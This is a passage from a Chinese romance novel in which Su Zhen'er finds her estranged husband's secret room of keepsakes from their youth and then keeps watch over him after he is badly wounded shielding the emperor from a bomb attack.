两个男人各自坐在各自案前,皆脸色不佳的闷头处理公务。 60-70 第61章 秘密屋 时间很快进入十二月。 入了冬, 苏甄儿就更加懒怠出去了,她整日里蜗居在烧着炭盆的屋子里,跟要冬眠了似的。 府内上下也没有人敢提隔壁王府的事, 就算是路上遇见了, 也不搭话。 “郡主,曹小姐来了。”绿眉小心翼翼敲了敲屋门。 苏甄儿正靠在榻上看话本子,听到绿眉的话,颇有些惊奇。 她跟这位曹小姐友谊平淡, 没想到她会亲自来找她。 屋内暖和极了, 曹梦湄一进去就感觉自己被冷风吹寒的脸一下热起来。 她看到苏甄儿病恹恹地歪在榻上,跟没骨子似的。 “你病了?”曹梦湄褪下身上的斗篷, 上前询问。 苏甄儿摇头, “身子骨差,冬日天气冷, 懒怠动弹。难得出去一两次透透气, 又不敢去太冷的地方, 吹了风难免又要病一场, 闹人的很。” “那我这酒你还喝得吗?”曹梦湄从身后提出一壶酒来。 苏甄儿的眼神瞬间就亮了。 她虽不嗜酒,但上次曹梦湄送来的酒确实不错, 十分符合她的口味。 “喝。” “这是梅子酒,冬日不好吃冷酒, 你让丫鬟去热一热。”曹梦湄自来熟的坐在苏甄儿对面。 软榻上,两人一人坐一边,那一小壶梅子酒被置在案上,周边也摆上了配酒的小菜。 “我在外面听说了一些流言。”曹梦湄一边给苏甄儿斟酒, 一边偷偷觑她。 苏甄儿接过酒杯,轻抿一口。 梅子香气四溢, 淡淡的酒香,不醉人,很好喝。 美人素手执杯,盖着繁复的毯子半靠在垫子上,眉眼下垂,神色清冷。 曹梦湄也跟着喝上一口,热酒入腹,似有无限惆怅需要发泄。 “我今日过来不是来看你笑话的。” “外面很多人在看我笑话?” “是啊,你不知道?” “不知道啊,我又没出去。”苏甄儿打了一个懒洋洋的哈欠。 曹梦湄:……这位还真是心静自然强。 曹梦湄却没有苏甄儿的这份心理素质。 “上次马球赛,是皇帝让你准备的吗?”曹梦湄喝上一整杯酒。 苏甄儿点头,“嗯。”应完,她突然坐直身子,单手托腮靠在案上,盯着曹梦湄看。 曹梦湄又吃上一杯酒,酒色渐渐上脸,她知道自己没有醉,可话却忍不住多了起来。 “你相信一见钟情吗?” 苏甄儿眨了眨眼,“不信。” 曹梦湄不管她,继续,“其实,我一开始逃跑,还没到战场,先遇上了他。” 逃婚的少女情窦初开遇到了真爱,两人相伴而行,一场大雨,没多久就让两个人干柴烈火的生活在了一起。 对于此,苏甄儿并不惊讶。听说北方女子作风彪悍,二嫁三嫁之多,十分寻常,并不似南方如此重视女子贞洁,视作性命一般维护。新帝周玄祈从北方而来,也将这份开放一同带了过来。 金陵女子受到风俗影响,眼界也跟着日渐开阔,民间二嫁三嫁之风渐渐盛行。 “我们像普通人一样,日出而作,日入而息,那段日子是我最快乐的时光,没有家族,没有责任,没有压力。我只是昙花,同祥村的昙花。” 曹梦湄的声音也跟着甜蜜起来。 可很快,她的声音再次低落,“可该来的总会来。我是曹氏女,注定要成为大周的皇后。在他上集市的时候,接我的人来了,我给他留了一封信,说我要回去嫁人了,就把这段时间的事情当作一场梦吧,一场情梦。” “你虽然被接走,但又逃过一次,可不幸进入了战场边缘,来接你的人大多丧命于此。” 苏甄儿如此推测。 曹梦湄缓慢点头,面色变得很白。 而这一次经历,让曹梦湄终于确定了自己要走的路。 她注定要成为大周的皇后。 “那个人是皇帝?” “嗯,我也没想到他居然会是周玄祈。” “那你此处来金陵有什么目的?” “我刚才已经说过了,曹氏女是注定要成为大周皇后的。本来按照计划,传谣之后,我寻个何时的时机,往他杯中放些春,药,这事就稳了……” 苏甄儿:…… 苏甄儿皮笑肉不笑,阴阳道:“关于春,药的事,你问过皇帝的意见了吗?” “他的意见很重要吗?当初也是我强上的他。” “咳咳咳……”苏甄儿被自己的口水呛到了。 曹梦湄继续,“他一开始也不同意,可是受伤了,推脱不了,然后就半推半就被我脱了裤子……” “好了,我不想听了。”苏甄儿打断曹梦湄的话。 女流氓。 曹梦湄狡黠一笑,“我说的是给他上药。” 苏甄儿:……曹氏女高贵典雅的形象在苏甄儿心中瞬间幻灭。 曹梦湄看着身旁女子被气得满脸羞红的样子,忍不住笑了,“我说,你跟那位北辰王应该没什么花样吧?单单只是说几句就羞成这样。这样可不行,这事可不能只是男子得趣,咱们女子也该获得快乐。” 苏甄儿真想把这女人的嘴捂死。 这种时候了还跟她讨论这种事情! 还有她什么时候说过她不快乐了! 就允许你们开放,就不允许她们含蓄吗? 曹梦湄看到苏甄儿脸涨得通红,也不再逗她,“其实,我以为我们情投意合,情比金坚,就是从前的时候遇到了一点点小挫折和小误会而已……” “始乱终弃,差点丧命的小误会?” 苏甄儿想到之前陆麟城跟她说的八卦。 “始乱终弃我承认,差点丧命是什么意思?”曹梦湄皱眉。 “你始乱终弃之后,正好有人去刺杀周玄祈,时机太巧,如果我没猜错的话,为了掩盖自己曾经的黑历史,成为一名没有黑点的太子妃,杀手是你派出去的。” “不是我。”曹梦湄迅速否认,“大家玩玩嘛,不至于闹出性命啊。” 苏甄儿,“……你刚才不是还说情比金坚?” “感情会淡的嘛。”顿了顿,曹梦湄再次重申,“我没有让人去杀他,当时我根本就不知道他的身份,他跟我说他是村民。” “你信了?” “当然不信,可我也说我是村民,大家互相骗骗,也很正常。” 只是没想到,他居然是新帝。 周玄祈大抵也没想到,她居然是曹氏女。 “难道他是因为这件事误会我?”曹梦湄的眼睛亮了亮,可很快,又显出灰败。 “他喜欢上别人了。”说完,曹梦湄又灌下一杯酒。 就算说清楚这个误会又怎么样,他的心已经不在她这里了。 “这么多年了,他喜欢上别人也很正常,可我还是,很伤心。”曹梦湄低头,眼泪落在案上。 苏甄儿感同身受,神色也跟着落寞下来。 她抢过曹梦湄手里的酒壶,闷头就干了一大口。 曹梦湄擦了眼泪,“说说你吧,听说你要跟北辰王和离?为什么?你有了别的男人?那位新晋探花郎?” 苏甄儿下意识蹙眉,“什么探花郎,那是我弟弟的新老师,你别乱传谣。” “不是我传的,外面都这么说,那探花郎每日里坐着你英国公府派去的马车来来回回的,谁看了都想造谣。” 作为造谣头子的苏甄儿终于是吃到了苦果。 她摆摆手,懒得解释。 反正也没人在乎,她更不在乎。 见苏甄儿蔫蔫的,没有说话欲望,曹梦湄也没有逼她,反正她说爽了。 “我已经想好了,下月便回去了,今日过来是找你辞行的。” “不联姻了?” “嗯。我与父亲都爱好和平,讨厌战争,他之前也屡次跟我提过,不愿意用我的婚姻来作为维系和平的筹码,可惜先帝和先太子不是那种友好的人,除了和亲没有更好的方法。我今次过来,看到周……大周皇帝,我猜,我和他都希望用另外一种更加文明的方式来达成我们共同的愿望,比如签署一份和平协议之类的。” 协议这种东西,得看跟什么人签。 虽然苏甄儿对周玄祈了解不深,但从他的治国才能可以看出来,这是一位拥有胸襟抱负,厌恶战争,渴望和平,期待开创太平盛世,让百姓安居乐业的皇帝。 苏甄儿端起酒杯,看着淡黄色的梅子酒,氤氲热气覆盖住眼睫。 她看得出来,曹梦湄不是那种愿意屈就的人,不然当初她也不会逃婚。 签署和平协议,这对于曹梦湄来说,是最好的结局。 “其实,若非周玄祈故意弄一场马球赛来侮辱我,我也不会想通……”酒气上头,曹梦湄逮着男人骂,“我还喜欢着他,他怎么能去喜欢别人!” 酒后吐真言,那是压抑在内心深处,因为羞耻,所以无法承认的,最真实的想法。 “是啊,他怎么能喜欢别人……”苏甄儿颇有共鸣。 曹梦湄敏锐的捕捉到她这句话,“陆麟城他出轨了?” “不是。”苏甄儿摇头,“他只是,不喜欢我而已。” “你喜欢他?” “喜欢啊。”苏甄儿抱着毯子,突然呜咽出声,“我好喜欢他,你说他为什么不喜欢我呢?” 曹梦湄也跟着哭,“我也不知道啊。” 两个人推翻案几,抱在一处,呜呜咽咽的哭。 哭到一半,苏甄儿一顿,突然想通了什么,她打了一个酒嗝,“或许那场马球赛,是皇帝希望你自由。” 自由选择自己想要的夫婿。 自由选择自己想要的婚姻。 曹梦湄歪头靠在苏甄儿肩膀上,轻轻摇了摇头,不置可否,“或许吧。” 已经不重要了。 “你后悔吗?当初选择回来联姻,放弃了他。” 曹梦湄安静片刻,她认真思考,然后摇头。 “不后悔,因为那个时候,在爱情之上,我突然发现,这个世界交给了我一个更宏大的命题。” 而直到现在,她依旧在为这个命题而努力- 虽然只是一壶酒,但苏甄儿和曹梦湄两人还是喝得微醺半醉,叠在榻上睡了一夜,睡得苏甄儿腰酸背痛。 她伸手将曹梦湄压在自己腹部的胳膊推开,然后听到一阵软绵绵的猫叫声。 天气渐冷,小绿现在最喜欢干的事情就是钻被窝里跟苏甄儿一道睡觉。 榻上垫了很多层褥子,虽窄了些,但很暖和。 苏甄儿伸手将小绿从被褥里抱进怀里,低头看到它翠绿色的眼睛,忍不住伸手拧了一把它的脸。 “喵~”小绿歪头,蹭了蹭她。 苏甄儿的心事闷在心里这么久,昨日被曹梦湄勾了出来,说了半宿,今日倒是轻快不少,可那股压在心脏上的沉重感,依旧让她心情沉郁。 也不知道她要多久才能走出这份情伤。 天光大亮,苏甄儿听到外面传来嘈杂之声。 最近天气不好,搬运工作停了几日,从窗户看今日天色,应当是个晴天,府中奴仆又开始替她继续搬运行礼。 “郡主。” 门口传来绿眉的声音。 “嗯?”苏甄儿懒洋洋应一声。 “王府书房内有些东西,不知道是郡主的,还是王爷的。” 她跟陆麟城一起生活数年,很多东西都分不清了。 “知道了。”看一眼还在睡的曹梦湄,苏甄儿抱着小绿起身,让绿眉领着丫鬟进来伺候洗漱。 洗漱完毕,曹梦湄还没醒,苏甄儿抱着小绿出了主屋大门,走出三步想起一件事。 她抬头看天色。 这个时辰,他应该去上朝了吧? “今天是祭祀日,王爷前几日就随陛下去城外太庙了。”一道声音从苏甄儿身后响起。 苏甄儿神色一顿,转头看去。 曹梦湄不知道什么时候起身了,她伸了一个懒腰,自来熟的吩咐丫鬟替她打了水,正在净面。 “今日我便要出城回北方了,与你相识一场,很高兴。” 苏甄儿背对着曹梦湄摆手,然后抱着小绿往北辰王府与英国公府之间的那扇小门走去。 数月未入北辰王府,苏甄儿竟有一种恍如隔世之感。 她站在主屋院中,看着这一口口大箱子被搬运出来,里面装满了她的东西。 “那个不是……” 那是她送陆麟城的毛笔,寻了很久才寻到的狼毫笔。 “是他的。” 狼毫笔下面压着的花色信笺,是陆麟城从宫里头给她带回来的,说是用真花压出来的,周玄祈还不肯给,是陆麟城做了三日苦力才换回来的。 “那个信笺,替我拿着吧。” 苏甄儿蹲在地上,与绿眉一道将东西分了一遍,觉得差不多了,便让奴仆们抬走。 小门太窄,大箱子还是从正屋甬道走的,小箱子则从小门抬过去。 今日天晴,苏甄儿站在院子里晒了小半个时辰的日头,身上被照得暖烘烘的。 “郡主,这是最后一批箱子了。” 听到此话,苏甄儿的心瞬间就空落落的。 王府管家站在一旁,想劝却又没有资格开口。 “嗯。” 苏甄儿检查了一遍,没问题之后,带着绿眉,从小门处走过去。 半旧的绿色小门在苏甄儿身后关上,像是彻底将她与陆麟城的世界隔绝。 “等一下,小绿呢?”苏甄儿突然发现自己两手空空。 “它不是跟着郡主的吗?”绿眉左顾右盼。 “喵~”头顶传来猫叫声,苏甄儿抬头,便见那小猫儿不知道从哪里攀到了墙上,见自己吸引了苏甄儿的视线后,又顺着墙边的树桩子攀着下去了。 苏甄儿:…… 刚刚关上的小门又被打开,苏甄儿走过来寻小绿的身影。 小绿猫在西厢房门口,正用爪子扒拉着厢房大门的缝隙。 苏甄儿知道这屋子,她在北辰王府住了这么多年,一次也没有看到它打开过。 西厢房的门缝虽然不大,但猫是液体动物,并且好奇心极盛。小绿正是调皮的年纪,喜欢到各种地方探险,尤其喜欢钻洞,因此,苏甄儿一个不注意,它便扒拉着缝隙钻进了厢房里。 真会给她惹麻烦。 主屋内的家仆已经退了出去,院子里安静极了,苏甄儿走过去,伸手拨弄了一下挂在厢房门上的锁。 锁倒是干净,不像常年不动的样子。 “喵~”小绿的声音从里面传出来,苏甄儿探头从缝隙里面看。 缝隙窄小,屋内又没有光源,因此,苏甄儿也看不清里面到底藏着什么东西。 “小绿,出来。”苏甄儿轻轻叩了叩门。 小绿从缝隙里探出一只爪子。 那爪子似乎是被什么东西给勾住了。 小猫就喜欢玩线团、流苏、纸片之类的东西。 苏甄儿抓着小绿的爪子,想把它从里面拽出来,却发现这流苏不止缠着它一只爪子,连带着后脚都被绕住了。 苏甄儿让绿眉去唤管家过来,管家见是西厢房,便摇头道:“只有王爷有这里的钥匙,平日里也是不让人靠近的。” 小绿在里面发出凄厉的惨叫声,想是挣扎不开,急了。 陆麟城不在府中,祭祀日,太庙禁严,就算派人去了也见不到人。 “按照大周律法,和离的话,府中财产有一半该归我,这厢房里面的东西也应该有我一半。”说完,苏甄儿掏出袖中羊角匕首,撬开门锁。 门锁落地,发出清脆声响。 管家站在苏甄儿身后,不敢阻拦。 西厢房的门被打开,光线从外灌入,能看到四面被薄纱覆盖的窗户,遮挡了外面的视线,也让屋内显得昏暗难辨起来。 厢房内一切正常,跟别的厢房并没有太大区别。 苏甄儿不理解地蹙了蹙眉,就这样还要神神秘秘地锁起来? 苏甄儿弯腰将小绿从流苏帘子里救出来。 小绿的前脖子上绕着一根细长的绳,苏甄儿刚将它腿上的流苏剪开,它就带着脖子上的绳冲了出去。 那绳连接着墙上的巨大挂画,绳子被扯断,画着芙蓉花的挂画卷了起来,露出后面的窄门。 居然有一道暗门? 暗门开了一半,苏甄儿还在犹豫之时,小绿比她先一步闯了进去。 小猫对半开的门和全关的门最没有抵抗力。 苏甄儿连一根猫毛都没有抓住,小绿就消失在了暗门缝隙里。 这西厢房的门都进了,也不差一道暗门。 苏甄儿走过去,伸手推开暗门。 这是一间密室,随着暗门被打开,墙壁上的油灯也跟着缓慢亮起。 幽暗的灯光照亮了整座密室,苏甄儿被里面的场景惊呆了。 这是……什么啊! 迎面而来的,是一幅她的巨大画像。 挂在密室正中间,让人想忽略都难。 除了这幅巨大的画像,周围也全部都是她的挂画。 发呆的,用膳的,晒头发的,摘葡萄的等等。 作画之人一看便极有耐心,连裙子上的褶皱都细细描摹。 再往四周看,三面是书橱,里面摆着砖块、石头、树枝、字条、字帖等物,也不知道有什么纪念意义。 苏甄儿一路走,一路看,看到一面书橱中都是从姑苏小报上面剪下来的关于她的八卦报导。 什么苏家有女初长成,荣获姑苏第一美人称号啦。 什么雅集大会,她艳压群芳,才华横溢啦。 这些芝麻绿豆大的八卦吹捧,连她自己都忘记了。 突然,苏甄儿看到一样熟悉的东西。 那支红玛瑙珠花。 它被置在黑色绒布上,用琉璃罩盖着,苏甄儿将罩子打开,看到珠花下面压着的一封感谢信。 久远的记忆朝她涌来,苏甄儿想起来一件事。 很多年前,她为给河南水灾集资,举办过一场小型慈善拍卖会,用来压轴的便是一支她给出的红玛瑙珠花。 苏甄儿记得,这支红玛瑙珠花被一位神秘买家带走,那买家走之前,还捐了一大笔钱。 苏甄儿便手写了一封感谢信,这封信现在就被压在这支红玛瑙珠花下面。 虽然这红玛瑙珠花昂贵,但苏甄儿并不喜欢,因此捐出去也不可惜,甚至已经忘记了它的存在。 所以这珠花居然是她自己的吗? 那位神秘买家是陆麟城? 可这是在姑苏发生的事,那个时候她跟他还不认识啊? 苏甄儿突然转身回到那面装着砖头、石块的书橱前。 她看到了自己幼时用的字帖,还有毛笔等物。 这些砖块上有练习过的痕迹,像是有人用刀刻字,密密麻麻,隐隐约约能看出一个“甄”字。 还有一张小弓。 很旧,却被用羊皮包裹着,珍藏着放在那里。 她记得这把弓,她送给了一个人。 一个瘦骨嶙峋,身怀死志的少年。 她教他识字,教他读书,教他射箭,而他却在她定亲后一声不吭的离开了。 他的头发总是很长,苏甄儿从来没有看清楚他的脸过。 他很瘦,也不高,甚至看起来比她还要矮些,是个抢食都抢不过七旬老汉的难民。 他总是很安静,像一块没有存在感的石头。 他没有名字,像世间随处可见的尘埃。 她开玩笑的说要给他取名字,说“麟”字很好听。 苏甄儿走到最后,也就是正中央的书橱前。 这个书橱上只放了一个盒子,被仔细盖了一块方帕。 苏甄儿小心翼翼地掀开方帕,然后打开了它。 盒子里面是黑漆漆的带着毛的东西,像不知道放了多久的食物。 盒盖上贴着一张字条,那是一份剪下来的金陵小报,是关于英国公府嫡女苏甄儿与北辰王陆麟城以红豆糕定情的八卦报道。 所以这长毛的东西难道是……红豆糕? 第62章 望云霓 苏甄儿想, 她终于明白为什么那次见面,陆麟城说彭城之战不是巧合。 真的不是巧合,他拼上自己的性命替她换来了一次父兄平安, 为她献上了一份最美好的及笄礼。 她无法想象, 那个时候的他是如何从彭城恶战之中将父兄救出来的,因为那个时候的他,分明也只是一个……还没长大的少年。 好想见到他。 对陆麟城的思念攀升到顶峰,苏甄儿又哭又笑的从西厢房里面走出来。 可是陆麟城正在太庙陪周玄祈参加祭祀, 要明日才能回来。 好想见到他。 “苏甄儿!苏甄儿!” 隔着小门, 苏甄儿听到有人唤她。 她伸手擦了擦脸,将绕在自己脚边的小绿抱起来, 细细掩好身后西厢房的门。 “我在这里。” 曹梦湄从小门口绕进来, 面色惨白,“出事了。” 苏甄儿的心一沉, “怎么了?” 曹梦湄努力解释清楚自己刚刚得到的消息, “有人在祭祀大典上绑了炸药, 想要跟皇帝同归于尽, 北辰王以身护君,不知生死, 现在外面都乱成一锅粥了,金陵城被封了, 你有办法出城吗?我,我想去看看周玄祈……” “等一下,你说谁不知生死?”苏甄儿一把拽住曹梦湄。 “你那位北辰王,听说好像被炸死了……”- 金陵城已经被封, 为了抓拿潜藏在城内外的奸细,就连苏甄儿也无法出城。 她想见到他, 见到活的他。 “我是北辰王妃。”苏甄儿骑在红缨身上,单手拨开戴在头上的帷帽。 守城的禁军面面相觑,不敢放行。 苏甄儿急了,“我要出城。” 她要亲眼看到陆麟城。 女人的手勒紧缰绳,焦急到胃部痉挛。十二月的风穿过帷帽,引起阵阵头疼。可这些都比不上苏甄儿对陆麟城的担忧,她不相信他会死。 他那么厉害的一个人,怎么会死呢? 帷帽下,女人面色惨白,跟守城的禁军对峙着。 正在此时,一道马鸣响起,苏甄儿转身,看到一张熟悉的脸。 “十三!” “王妃。” “带我出城。”- 有了十三的帮助,苏甄儿很快就来到了太庙。 听说当时周玄祈正在祭祀,不想从祭祀台下跑出来一个人,身上绑着炸药,直接就朝周玄祈扑了过来。 距离周玄祈最近的陆麟城反应极快,一把抱住周玄祈滚下长长的石阶。 爆炸声响起时,血肉弥漫,炸开的祭坛,碎裂的石块,如雨滴般从天上掉下来。 周玄祈被陆麟城压在身下,炸伤了一只胳膊,而陆麟城直到现在都昏迷未醒。 半个太医院的人都来了,太庙围堵的水泄不通。 屋内弥漫着浓郁的草药香气,苏甄儿似还嗅到了一□□味。 听大理寺调查说,炸药是藏在祭祀的猪羊之中被运进来的。 苏甄儿恍然想起曾经跟陆麟城去过一趟牺牲所,那里正有一片地要扩建,埋了炸药,准备炸毁旧院。临走前,他们又在那里碰到了郭峰。 苏甄儿猜测,应该就是那个时候,郭峰假借孔雀之名,偷拿了炸药,在祭祀品上做了手脚。 而在郭峰第一次刺杀失败之后,虽被俘获,但藏在太庙之中的奸细并没有被找出来。 这奸细带着从祭祀品中偷运进来的炸药,潜藏在太庙数月之久,终于找到机会实行计划。 山上比山下冷很多,苏甄儿出来的急,没有多添几件衣物。 她站在主屋门口,冻得浑身僵冷,却不敢离开,只眼睁睁看着太医来来回回,进进出出。 屋内不断散发出来的血腥味冲击着她的神智,苏甄儿的心神越发不稳起来。 直到夜半,屋子里才安静下来。 夜幕笼罩,坐在檐下的苏甄儿动了动自己冻僵的身体,她站起来,从窗边往里看。 隔着一层屏风,她看不到躺在床上的陆麟城。 “王妃。” “十三。” 苏甄儿低头,看到十三手里端的药,“王爷没事了吧?” 风吹起苏甄儿头上的帷帽,露出她通红的眼和苍白的脸。 “太医说,似乎是没什么求生意志。如果可以的话,王妃能不能多跟王爷说说话?”- 苏甄儿进了屋,屋内氤氲着琉璃灯。 门窗紧闭,药味更加重了,夹杂着血腥气,她看到垂落的幔帐之下,陆麟城趴在那里,后背绷带上满是渗出的鲜红血色。 “整个后背都烂了,换了药之后还在出血……”十三站在苏甄儿身后,呢喃自语,“其实在战场上,更重的伤王爷都受过,不知道这次为什么……” 话说到这里,十三下意识朝苏甄儿看了一眼。 十三觉得自己可能知道为什么。 苏甄儿看到陆麟城的情况,忍不住伸手捂住了嘴。 她一步一步,缓慢挪动到床边,伸出手,却不知道该碰那里。 他露在外面的肌肤都包裹上的绷带,包括指尖。 最终,她的手指搭在他垂落在枕边的发丝上。 轻轻地抓着,冰冷的发丝没有任何温度,比她冻僵的手还要冷。 “好冷,陆麟城。” 屋内安静极了,唯有苏甄儿说话的声音。 男人的眼睫不着痕迹地颤了颤,随后恢复平静。 柔软的芙蓉香被药味吞没,苏甄儿伏在床边,静静地看着陆麟城的脸。 “我走的时候明明你还好好的……”女人炙热的泪水落在发丝上,在枕边氤氲出一片深色水渍。 “不要留我一个人,陆麟城。”- 周玄祈暂住在太庙西苑。 相比起陆麟城,他受的伤实在是轻了不少,只是胳膊被炸伤了。 出事之后,周玄祈迅速让禁军封锁现场,抓捕嫌犯,然后差人将太医院的医士们都请了过来,没来得及让太医处理自己的伤口,只让他们赶紧救治陆麟城。 太医说陆麟城没有求生意志,他也立刻反应过来,让十三回金陵,将苏甄儿请过来。 “无论付出任何代价,只要朕给的起,一定要把她请过来。” 处理好了陆麟城的事,周玄祈这才想起来自己的伤。 他捂着胳膊回到自己住的西苑,正准备让孙乾铭随便找个医士过来看看,一抬头便见西苑门前站着一个单薄的人影。 天已黑,太庙在山上,冷的出奇。 曹梦湄站在西苑门前,被冻得浑身发抖。 她抬目,看到了狼狈的周玄祈。 爆炸的余灰还粘在他脸上,身上的衣物带着灼烧的痕迹,斑驳的血色从胳膊上蔓延下来。 风寒,月冷。 曹梦湄朝他疾奔过来,因为太急,所以差点摔倒。 她跑到他面前,指尖冰冷,像刚刚凝结出来的冰,触到他的肌肤,一把攥紧,眼睫之上竟还凝着白霜,也不知道在这里站了多久。 “你没事吧?”她说话的时候有白雾吐出来,双眸涨红,满脸焦急。 周玄祈压下心中悸动,努力用平稳的语气跟曹梦湄说话,“曹小姐放心,曹氏与朕的和平之约就算是朕死了,也会履行。” “我不是为了这个来的!”曹梦湄再次激动起来。 “那是为什么?”周玄祈垂眸看她。 曹梦湄与他对视,泪水蓄满双眸,“当然是为了你!”- 好沉,身体在不断下沉,拽着他,一直往下。 陆麟城像被浸在水中一样,四肢很沉,河面上盖着厚重的冰块,他睁眼只能望见无边黑暗。 黑色的,涌动的,寒冷的水。 从他的身体上流动过去,他想起了那年冬日,他蜷缩在墙角,任由姑苏的雪将他覆盖住。 那年姑苏下了一场极其罕见的大雪。 大雪冰封,将他也一起封在了那里。 陆麟城不知道自己为什么会活着,他也不知道自己为什么要活着。 他为什么要继续生存在悲惨的负担中。 他为什么要如此苦苦挣扎求生。 他的出生就是一个错误。 这个世界上,本就不该有这么一个他存在。 他是一颗尘埃,这个世界上有千万颗尘埃。 没有人会注意到尘埃。 没有人会留意他的生死。 精神的湮灭正在杀死求生的本能。 “你没有名字吗?你居然没有名字?”少女的脸上露出诧异之色,她显然没有想到,一个人居然会没有名字。 少年坐在她对面,紧闭着唇,黑色的头发垂落下来,遮盖住半张脸。 少女视线向上,看到伫立在屋脊之上的麒麟石像。 “麟,这个字你觉得怎么样?象征吉祥、祥瑞、美好,是一个很好的字。你怎么不说话?不好吗?不好就不好嘛……”少女随性一言,连她自己都忘得一干二净,唯独刻入了少年心尖。 “陆麟城,陆麟城!” 好像有人在叫他。 在叫他的名字。 最先嗅到的是柔软的芙蓉香。 黑暗的水面上,有阳光印照下来,隔着厚重的冰面,他看到灿烂的光点,一点一点,顺着冰封的裂纹弥漫。 陆麟城的手脚被光点托起。 他感觉到那股禁锢着自己往下沉的力量在消失。 身上厚重的枷锁被光点融化,他尝试性地动了动手脚,一下,又一下,最后,他的身体变得轻盈,如同水中的鱼一样,往上窜了去。 他真的听到有人在叫他。 很轻,很急,带着哭腔的声音。 一遍又一遍,一声又一声。 陆麟城终于破冰而出,他睁开眼,看到晃动的帷幔,四周安静无声,浓郁的药草香气覆盖鼻息,那股极甜极淡的芙蓉香似乎只是他的错觉。 “啪嗒”一声,药碗落地。 十三快步疾走过来,“王爷,你醒了!” 十三大喜过望,赶紧出去找太医。 陆麟城张开嘴,却无法说话。 他趴在那里,只能勾动一点手指。 太医蜂拥而至,陆麟城的视线在众人眼前划过,没有看到那张熟悉的脸。 是梦啊。 果然是梦啊。 男人眼神的光渐渐湮灭,疲惫地闭上眼。 突然,他感觉到了什么,眼珠颤动,努力朝侧边望去。 床帘侧边,女人安静地站在那里看着他,泪水覆盖面容,双眸哭得核桃一般。 在男人有动静的瞬间,苏甄儿就立刻唤了医士。虽舍不得,但为了不耽误男人治疗,在太医涌进来的瞬间,苏甄儿马上就让出了位置。 医士们诊治一番,又开了很多药。 陆麟城以为自己只是睡了一觉,可实际上,他已经昏迷三天三夜。 而在此期间,苏甄儿衣不解带地守在他身边,一步都没有离开。 “王爷已经脱离生命危险……” 医士说了什么话,陆麟城没有听到,他静静看着不远处的苏甄儿,眼睛都不舍得眨,害怕那只是他想象中的幻影。 “现如今只要好好修养,按照王爷的身体素质,应当是没有大碍的,只是这后背上难免要落下一些斑痕……” 医士们安静退去,十三轻轻掩上房门。 屋内剩下苏甄儿和陆麟城。 苏甄儿努力想笑,可眼泪却不由自主的再次落了下来。 她走到陆麟城身边,蹲下来。 男人长久没有说话,嘴唇蠕动,声音沙哑,“别哭。” 苏甄儿听到这两个字,哭得更狠了。 “我看到了,西厢房后面的密室,还有那支红玛瑙的珠花,我也想起来了。”她凑近陆麟城,声音带上了难以压抑的哭腔,“为什么不早点告诉我,陆麟城,我在你心里是什么?” 是什么。 陆麟城闭上眼,再睁开。 光影缓慢凝聚在女人身上,从头到尾,虚幻又真实。 藏在心底的秘密被发现,生死之后,梦寐以求的神迹再次降临在面前,他突然生出一股勇气,贪心的祈求神的再次垂怜。 人就是靠那么一点希望活下去的。 陆麟城是靠苏甄儿活下去的。 他道:“云霓之望。” 第63章 喜欢你 “王爷的伤口虽已然大好, 但还是要当心不能碰水。” 幸好天气已经凉爽起来,不然这伤口也不能好的这么快。 太医细心替陆麟城处理后背上的伤口。 虽然这几日看了很多遍,伤口也已大好, 但大片大片斑驳的伤痕依旧触目惊心。苏甄儿忍不住偏过了头, 她握着陆麟城的手,却又不敢太用力,因为他的手上也有伤。 太医替陆麟城缠好绷带后出去了。 陆麟城坐在床边拉上衣服,偏头看到苏甄儿的表情, 便反握住她的手, 然后抬起她的手背,轻轻蹭了蹭脸。 “没关系, 不疼的。” 分明受伤的人是他, 他却还要反过来安慰她。 也实在是照顾陆麟城的这段时间里,苏甄儿的泪腺分泌实在是太发达了。 起初时, 陆麟城每日要换三四遍的药, 苏甄儿每日里便要哭三四遍。 现在, 陆麟城每日里换一遍药, 苏甄儿便要哭一次,连苏甄儿自己都觉得自己哭得实在是太烦了些。 “我没哭。”苏甄儿将头埋进被褥里。 被褥上都是浓郁药香, 苏甄儿闷了一会儿,实在是受不了, 只好抬起了头。 说没哭,可女人眼眶红红,眼角沁着泪,明显是哭了。额前碎发汗湿, 更显出几分我见犹怜的娇弱感来,让人看着心头发紧。 她的头发也乱糟糟的, 珠钗玉环一并未用。身上的衣物是临时送过来的,简朴粗糙,与她平日里的穿戴大相径庭。 陆麟城心头一紧,指尖拂过她的脸,触到湿润的水渍。 苏甄儿抿唇,伸手去掐陆麟城的脸。 男人脸上倒是没有伤,应该是跟当时卧倒的姿势有关。 陆麟城不言,只是一味挨掐。 因为苏甄儿在哭。 她看着他,豆大的眼泪往下滑。 只要一想到陆麟城可能会死,苏甄儿就瞬间绷不住了。 经历过母亲去世,父兄死亡,那段时间的苏甄儿好似生活在梦中,一直无法接受现实。 因此,她无法想象若陆麟城也跟着出事了,她又要花费多久才能从这样的噩耗之中走出来。 “暖和的,还有影子。”苏甄儿呢喃自语完毕,又深深地看向陆麟城,“不要死,陆麟城。” 男人握着她的手,郑重点头,“好。”- 今日天气不错,陆麟城在屋中关了许久,苏甄儿搀着他出门晒晒日头。 冬天的日光看起来冷冷淡淡的,可你若走进去,却能感受到别样的温暖。 十三在院中放了两架圈椅。 陆麟城和苏甄儿一道坐了下来。 “今日几号?”陆麟城突然道。 “二十五。” “错过了你的生辰。”男人皱眉,“我没来得及给你准备生辰礼。” 若是从前,矫情又难伺候的苏甄儿会觉得陆麟城不重视自己,定要冲他发一通脾气。 现在,经历过生死难关的苏甄儿哪里还记得什么生辰日,什么生辰礼。 “你醒过来,就是给我的生辰礼。只要陆麟城活着,苏甄儿一辈子不过生辰都可以。” 只有了解苏甄儿的才知道,不收生辰礼对于她来说是多么大的牺牲。 “不过你现在醒过来了……”话又说回来。 苏甄儿想了想,“听说现在流行花瓶簪,品类繁多,还出了一套一百零八的礼盒,将最近流行的花瓶簪款式都放了进去。” “我让十三去买。” “要美翠阁的,它家最好。” 正是午后,日头暖融融的。 苏甄儿身上披着斗篷坐在那里,沐浴在阳光下,凝聚在体内的紧张和焦虑被慢慢治愈,她说完花瓶簪的事,突然沉默一瞬,然后拉着陆麟城的手,语气很轻道:“你不知道,母亲和父兄去世后的那段时间里,我的日子过的跟做梦似的。” 她一度分不清虚幻与现实。 总觉得母亲和父兄的去世是在做梦。 “家里到处都是他们的物件,哪里都能看到他们的影子。”苏甄儿缓慢诉说着,这是藏在她心底最隐秘的伤痛。 陆麟城侧身,安静地听着。 他的目光落在苏甄儿脸上,柔软到比阳光都温柔。 苏甄儿望进陆麟城眸中,她的语气一转,“直到你杀了肃王,你不知道,听到这个消息的时候,我的梦一下就醒了。” 从浑噩的状态一下被拽到清醒的现实之中。 